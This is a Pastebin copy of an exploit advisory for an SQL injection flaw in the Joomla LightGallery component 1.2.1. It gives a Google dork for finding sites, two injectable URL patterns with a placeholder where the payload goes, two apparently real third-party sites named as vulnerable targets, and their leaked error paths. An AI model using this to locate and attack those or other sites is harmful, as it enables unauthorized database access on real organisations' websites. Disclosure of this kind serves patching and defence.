KingSkrupellos

Joomla LightGallery Components 1.2.1 SQL Injection

Feb 13th, 2019
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.92 KB | None | 0 0
  1. #########################################################################
  2.  
  3. # Exploit Title : Joomla LightGallery Components 1.2.1 SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 14/02/2019
  7. # Vendor Homepage : joompolitan.com
  8. # Software Download Link : joompolitan.com/lightgallery.html
  9. joompolitan.com/joomla/free/lightgallery_plugin.2.0.3.zip
  10. # Software Information Link : extensions.joomla.org/extension/light-gallery/
  11. tutorial.joompolitan.com/light-gallery-for-joomla.html
  12. # Software Affected Versions : Joomla Component 1.2.1 and Joomla Plugin 2.0.3
  13. # Tested On : Windows and Linux
  14. # Category : WebApps
  15. # Exploit Risk : Medium
  16. # Google Dorks : inurl:''/index.php?option=com_lightgallery''
  17. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  18. Special Elements used in an SQL Command ('SQL Injection') ]
  19. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  20. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  21. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  22.  
  23. #########################################################################
  24.  
  25. # Description about Software :
  26. ***************************
  27. Light Gallery Component for Joomla provides a simplest way for you to create
  28.  
  29. responsive galleries in your website. It can generate a gallery from your folder.
  30.  
  31. Therefore, you don't have headache problem to insert the pictures one by one.
  32.  
  33. Light Photo Gallery also allows you to create gallery by using pictures or images
  34.  
  35. from other website. Light Gallery enables all features of light box and it will be viewed in light box.
  36.  
  37. Light Gallery Joomla component is compatible with Joomla 2.5.x, Joomla 3.x and later.
  38.  
  39. ###########################################################################
  40.  
  41. # Impact :
  42. ***********
  43. Joomla LightGallery 2.03 and other versions -
  44.  
  45. component for Joomla is prone to an SQL-injection vulnerability because it
  46.  
  47. fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  48.  
  49. Exploiting this issue could allow an attacker to compromise the application,
  50.  
  51. access or modify data, or exploit latent vulnerabilities in the underlying database.
  52.  
  53. A remote attacker can send a specially crafted request to the vulnerable application
  54.  
  55. and execute arbitrary SQL commands in application`s database.
  56.  
  57. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  58.  
  59. An attacker can exploit this issue using a browser.
  60.  
  61. #########################################################################
  62.  
  63. # SQL Injection Exploit :
  64. **********************
  65. /index.php?option=com_lightgallery&view=category&Itemid=[SQL Injection]
  66.  
  67. /index.php?option=com_lightgallery&view=list&cid=[ID-NUMBER]&Itemid=[SQL Injection]
  68.  
  69. #########################################################################
  70.  
  71. # Example Vulnerable Sites :
  72. *************************
  73. [+] vmro-dp.org.mk/index.php?option=com_lightgallery&view=category&Itemid=79
  74.  
  75. [+] ttlawcourts.org/index.php?option=com_lightgallery&view=list&cid=24&Itemid=202
  76.  
  77. #########################################################################
  78.  
  79. # Example SQL Database Error :
  80. *****************************
  81. Warning: Invalid argument supplied for foreach() in
  82. /home/vmrodp24/public_html/components/com_lightgallery
  83. /views/category/tmpl/default.php on line 16
  84.  
  85. Error loading component: com_lightgallery, 1
  86.  
  87. Warning: getimagesize(/administrator/components/com_lightgallery
  88. /lightgallery/th37ce8443-0666-eea9-72b7-000016100028_cj tours lands.jpg)
  89. [function.getimagesize]: failed to open stream: No such file or directory in
  90. C:\XAMPP\xampp\htdocs\components\com_lightgallery
  91. \views\list\tmpl\default.php on line 57
  92.  
  93. #########################################################################
  94.  
  95. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  96.  
  97. #########################################################################
Add Comment
Please, Sign In to add comment